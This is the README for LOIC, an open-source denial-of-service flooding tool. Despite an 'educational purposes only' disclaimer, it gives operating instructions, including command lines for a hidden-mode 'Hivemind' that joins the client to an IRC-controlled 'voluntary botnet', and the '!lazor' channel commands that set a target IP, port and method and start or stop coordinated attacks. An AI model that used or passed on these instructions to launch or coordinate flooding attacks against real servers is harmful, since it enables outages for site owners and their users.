INFO

Low Orbit Ion Cannon (LOIC) is an open source network stress tool, written in C#. LOIC is based on Praetox's LOIC project at https://sourceforge.net/projects/loic/ .

DISCLAIMER

LOIC is for educational purposes only, intended to help server owners develop a "hacker defense" attitude. This tool comes without any warranty.

You may not use this software for illegal or unethical purposes. This includes activities which give rise to criminal or civil liability.

Under no event shall the licensor be responsible for any activities, or misdeeds, by the licensee.

HOW TO RUN ON WINDOWS

GET THE BINARIES!

Requires Microsoft .NET Framework 3.5 Service Pack 1, available at: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&displaylang=en

HOW TO RUN ON LINUX / MACOSX

Run debug binaries with Mono or Wine. Read the wiki at https://github.com/NewEraCracker/LOIC/wiki/_pages for updated instructions.

HIVEMIND/HIDDEN MODE

HIVEMIND mode will connect your client to an IRC server so it can be controlled remotely. Think of this as a voluntary botnet. Please be aware that your client can potentially be made to do naughty things.

Note: It does NOT allow remote administration of your machine; it just providees control of LOIC itself.

If you want to start up in Hivemind mode, run something such as this:

	LOIC.exe /hivemind irc.server.address

which will connect to irc://irc.server.adress:6667/loic

You can also specify a port and channel:

	LOIC.exe /hivemind irc.server.address 1234 #secret

which will connect to irc://irc.server.adress:1234/secret

In order to run Hivemind Hidden mode, run something such as this:

	LOIC.exe /hidden /hivemind irc.server.address

which will connect to irc://irc.server.adress:6667/loic without any visible GUI.

CONTROLLING LOIC FROM IRC

As an OP, Admin or Owner, set the channel topic or send a message such as the following:

	!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true

To start an attack, type:

	!lazor start

or append "start" to the END of the topic:

	!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true start

To reset LOIC's options back to their defaults:

	!lazor default

To stop an attack:

	!lazor stop

and be sure to remove "start" from the END of the topic, if it exists, as well.

Take a look at the source code for more details.